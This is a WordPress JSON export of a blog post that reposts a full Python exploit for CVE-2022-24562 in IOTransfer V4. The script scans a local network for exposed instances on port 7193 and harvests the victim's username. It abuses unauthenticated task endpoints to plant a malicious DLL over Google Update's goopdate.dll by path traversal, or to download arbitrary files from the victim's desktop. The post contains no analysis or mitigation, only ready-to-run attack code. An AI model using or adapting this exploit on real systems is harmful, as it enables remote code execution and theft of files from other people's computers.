{"id":28310,"date":"2022-07-24T10:18:34","date_gmt":"2022-07-24T06:18:34","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167775\/iotransfer40-exec.txt"},"modified":"2022-07-24T13:59:52","modified_gmt":"2022-07-24T09:29:52","slug":"iotransfer-4-0-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/iotransfer-4-0-remote-code-execution\/","title":{"rendered":"IOTransfer 4.0 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: IOTransfer V4 \u2013 Remote Code Execution (RCE)<br \/>\n# Date: 06\/22\/2022<br \/>\n# Exploit Author: Tomer Peled<br \/>\n# Vendor Homepage: https:\/\/www.iobit.com<br \/>\n# Software Link: https:\/\/iotransfer.itopvpn.com\/<br \/>\n# Version: V4 and onward<br \/>\n# Tested on: Windows 10<br \/>\n# CVE : 2022-24562<br \/>\n# References: https:\/\/github.com\/tomerpeled92\/CVE\/tree\/main\/CVE-2022%E2%80%9324562<\/p>\n<p dir=\"ltr\">import os<br \/>\nfrom urllib3.exceptions import ConnectTimeoutError<br \/>\nfrom win32com.client import *<br \/>\nimport requests<br \/>\nimport json<\/p>\n<p dir=\"ltr\">localPayloadPath = r&#8221;c:\\temp\\malicious.dll&#8221;<br \/>\nremotePayloadPath=&#8221;..\/Program Files (x86)\/Google\/Update\/goopdate.dll&#8221;<br \/>\nremoteDownloadPath = r&#8217;C:\\Users\\User\\Desktop\\obligationservlet.pdf&#8217;<br \/>\nRange = &#8220;192.168.89&#8221;<br \/>\nUpOrDown=&#8221;Upload&#8221;<br \/>\nIP = &#8220;&#8221;<br \/>\nUserName = &#8220;&#8221;<\/p>\n<p dir=\"ltr\">def get_version_number(file_path):<br \/>\ninformation_parser = Dispatch(&#8220;Scripting.FileSystemObject&#8221;)<br \/>\nversion = information_parser.GetFileVersion(file_path)<br \/>\nreturn version<\/p>\n<p dir=\"ltr\">def getTaskList(IP, taskid=&#8221;&#8221;):<br \/>\nprint(&#8220;Getting task list&#8230;&#8221;)<br \/>\nurl = f&#8217;http:\/\/{IP}:7193\/index.php?action=gettasklist&amp;userid=*&#8217;<br \/>\nres = requests.get(url)<br \/>\ntasks = json.loads(res.content)<br \/>\ntasks = json.loads(tasks[&#8216;content&#8217;])<br \/>\nfor task in tasks[&#8216;tasks&#8217;]:<br \/>\nif taskid == task[&#8216;taskid&#8217;]:<br \/>\nprint(f&#8221;Task ID found: {taskid}&#8221;)<\/p>\n<p dir=\"ltr\">def CreateUploadTask(IP):<br \/>\nSetSavePath(IP)<br \/>\nurl = f&#8217;http:\/\/{IP}:7193\/index.php?action=createtask&#8217;<br \/>\ntask = {<br \/>\n&#8216;method&#8217;: &#8216;get&#8217;,<br \/>\n&#8216;version&#8217;: &#8216;1&#8217;,<br \/>\n&#8216;userid&#8217;: &#8216;*&#8217;,<br \/>\n&#8216;taskstate&#8217;: &#8216;0&#8217;,<br \/>\n}<br \/>\nres = requests.post(url, json=task)<br \/>\ntask = json.loads(res.content)<br \/>\ntask = json.loads(task[&#8216;content&#8217;])<br \/>\ntaskid = task[&#8216;taskid&#8217;]\nprint(f&#8221;[*] TaskID: {taskid}&#8221;)<br \/>\nreturn taskid<\/p>\n<p dir=\"ltr\">def CreateUploadDetailNode(IP, taskid, remotePath, size=&#8217;100&#8242;):<br \/>\nurl = f&#8217;http:\/\/{IP}:7193\/index.php?action=settaskdetailbyindex&amp;userid=*&amp;taskid={taskid}&amp;index=0&#8242;<br \/>\nfile_info = {<br \/>\n&#8216;size&#8217;: size,<br \/>\n&#8216;savefilename&#8217;: remotePath,<br \/>\n&#8216;name&#8217;: remotePath,<br \/>\n&#8216;fullpath&#8217;: r&#8217;c:\\windows\\system32\\calc.exe&#8217;,<br \/>\n&#8216;md5&#8217;: &#8216;md5md5md5md5md5&#8217;,<br \/>\n&#8216;filetype&#8217;: &#8216;3&#8217;,<br \/>\n}<br \/>\nres = requests.post(url, json=file_info)<br \/>\njs = json.loads(res.content)<br \/>\nprint(f&#8221;[V] Create Detail returned: {js[&#8216;code&#8217;]}&#8221;)<\/p>\n<p dir=\"ltr\">def readFile(Path):<br \/>\nfile = open(Path, &#8220;rb&#8221;)<br \/>\nbyte = file.read(1)<br \/>\nnext = &#8220;Start&#8221;<br \/>\nwhile next != b&#8221;:<br \/>\nbyte = byte + file.read(1023)<br \/>\nnext = file.read(1)<br \/>\nif next != b&#8221;:<br \/>\nbyte = byte + next<br \/>\nfile.close()<br \/>\nreturn byte<\/p>\n<p dir=\"ltr\">def CallUpload(IP, taskid, localPayloadPath):<br \/>\nurl = f&#8217;http:\/\/{IP}:7193\/index.php?action=newuploadfile&amp;userid=*&amp;taskid={taskid}&amp;index=0&#8242;<br \/>\nsend_data = readFile(localPayloadPath)<br \/>\ntry:<br \/>\nres = requests.post(url, data=send_data)<br \/>\njs = json.loads(res.content)<br \/>\nif js[&#8216;code&#8217;] == 200:<br \/>\nprint(&#8220;[V] Success payload uploaded!&#8221;)<br \/>\nelse:<br \/>\nprint(f&#8221;CreateRemoteFile: {res.content}&#8221;)<br \/>\nexcept:<br \/>\nprint(&#8220;[*] Reusing the task&#8230;&#8221;)<br \/>\nres = requests.post(url, data=send_data)<br \/>\njs = json.loads(res.content)<br \/>\nif js[&#8216;code&#8217;] == 200 or &#8220;false&#8221; in js[&#8216;error&#8217;]:<br \/>\nprint(&#8220;[V] Success payload uploaded!&#8221;)<br \/>\nelse:<br \/>\nprint(f&#8221;[X] CreateRemoteFile Failed: {res.content}&#8221;)<\/p>\n<p dir=\"ltr\">def SetSavePath(IP):<br \/>\nurl = f&#8217;http:\/\/{IP}:7193\/index.php?action=setiotconfig&#8217;<br \/>\nconfig = {<br \/>\n&#8216;tasksavepath&#8217;: &#8216;C:\\\\Program &#8216;<br \/>\n}<br \/>\nrequests.post(url, json=config)<\/p>\n<p dir=\"ltr\">def ExploitUpload(IP,payloadPath,rPath,taskid =None):<br \/>\nif not taskid:<br \/>\ntaskid = CreateUploadTask(IP)<br \/>\nsize = os.path.getsize(payloadPath)<br \/>\nCreateUploadDetailNode(IP, taskid, remotePath=rPath, size=str(size))<br \/>\nCallUpload(IP, taskid, payloadPath)<\/p>\n<p dir=\"ltr\">def CreateDownloadTask(IP, Path) -&gt; str:<br \/>\nurl = f&#8217;http:\/\/{IP}:7193\/index.php?action=createtask&#8217;<br \/>\ntask = {<br \/>\n&#8216;method&#8217;: &#8216;get&#8217;,<br \/>\n&#8216;version&#8217;: &#8216;1&#8217;,<br \/>\n&#8216;userid&#8217;: &#8216;*&#8217;,<br \/>\n&#8216;taskstate&#8217;: &#8216;0&#8217;,<br \/>\n&#8216;filepath&#8217;: Path<br \/>\n}<br \/>\nres = requests.post(url, json=task)<br \/>\ntask = json.loads(res.content)<br \/>\ntask = json.loads(task[&#8216;content&#8217;])<br \/>\ntaskid = task[&#8216;taskid&#8217;]\nprint(f&#8221;TaskID: {taskid}&#8221;)<br \/>\nreturn taskid<\/p>\n<p dir=\"ltr\">def ExploitDownload(IP, DownloadPath, ID=None):<br \/>\nif ID:<br \/>\nurl = f&#8217;http:\/\/{IP}:7193\/index.php?action=downloadfile&amp;userid=*&amp;taskid={ID}&#8217;<br \/>\nelse:<br \/>\ntaskid = CreateDownloadTask(IP, DownloadPath)<br \/>\nurl = f&#8217;http:\/\/{IP}:7193\/index.php?action=downloadfile&amp;userid=*&amp;taskid={taskid}&#8217;<br \/>\nres = requests.get(url)<br \/>\nreturn res<\/p>\n<p dir=\"ltr\">def ScanIP(startRange):<br \/>\nprint(&#8220;[*] Searching for vulnerable IPs&#8221;, end=&#8221;)<br \/>\nCurrent = 142<br \/>\nIP = f&#8221;{startRange}.{Current}&#8221;<br \/>\nVulnerableIP: str = &#8220;&#8221;<br \/>\nUserName: str = &#8220;&#8221;<br \/>\nwhile Current &lt; 252:<br \/>\nprint(&#8220;.&#8221;, end=&#8221;)<br \/>\nurl = f&#8217;http:\/\/{IP}:7193\/index.php?action=getpcname&amp;userid=*&#8217;<br \/>\ntry:<br \/>\nres = requests.get(url, timeout=1)<br \/>\njs = json.loads(res.content)<br \/>\njs2 = json.loads(js[&#8216;content&#8217;])<br \/>\nUserName = js2[&#8216;name&#8217;]\nVulnerableIP=IP<br \/>\nprint(f&#8221;\\n[V] Found a Vulnerable IP: {VulnerableIP}&#8221;)<br \/>\nprint(f&#8221;[!] Vulnerable PC username: {UserName}&#8221;)<br \/>\nreturn VulnerableIP,UserName<br \/>\nexcept Exception as e:<br \/>\npass<br \/>\nexcept ConnectTimeoutError:<br \/>\npass<br \/>\nIP = f&#8221;{startRange}.{Current}&#8221;<br \/>\nCurrent = Current + 1<br \/>\nreturn None,None<\/p>\n<p dir=\"ltr\">if __name__ == &#8216;__main__&#8217;:<br \/>\nIP,UserName = ScanIP(Range)<br \/>\nif IP is None or UserName is None:<br \/>\nprint(&#8220;[X] No vulnerable IP found&#8221;)<br \/>\nexit()<br \/>\nprint(&#8220;[*] Starting Exploit&#8230;&#8221;)<br \/>\nif UpOrDown == &#8220;Upload&#8221;:<br \/>\nprint(f&#8221;[*]Local Payload Path: {localPayloadPath}&#8221;)<br \/>\nprint(f&#8221;[*]Remote Upload Path: {remotePayloadPath}&#8221;)<br \/>\nExploitUpload(IP,localPayloadPath,remotePayloadPath)<br \/>\nelif UpOrDown == &#8220;Download&#8221;:<br \/>\nprint(f&#8221;[*] Downloading the file: {remoteDownloadPath}&#8221;)<br \/>\nres = ExploitDownload(IP, remoteDownloadPath)<br \/>\nfile = open(&#8220;out.pdf&#8221;, &#8220;wb+&#8221;)<br \/>\nfile.write(res.content)<br \/>\nfile.close()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: IOTransfer V4 \u2013 Remote Code Execution (RCE) # Date: 06\/22\/2022 # Exploit Author: Tomer Peled # Vendor Homepage: https:\/\/www.iobit.com # Software Link: https:\/\/iotransfer.itopvpn.com\/ # Version: V4 and onward # Tested on: Windows 10 # CVE : 2022-24562 # References: https:\/\/github.com\/tomerpeled92\/CVE\/tree\/main\/CVE-2022%E2%80%9324562 import os from urllib3.exceptions import ConnectTimeoutError from win32com.client import * import requests &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28310","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28310","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28310"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28310\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28310"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28310"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28310"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}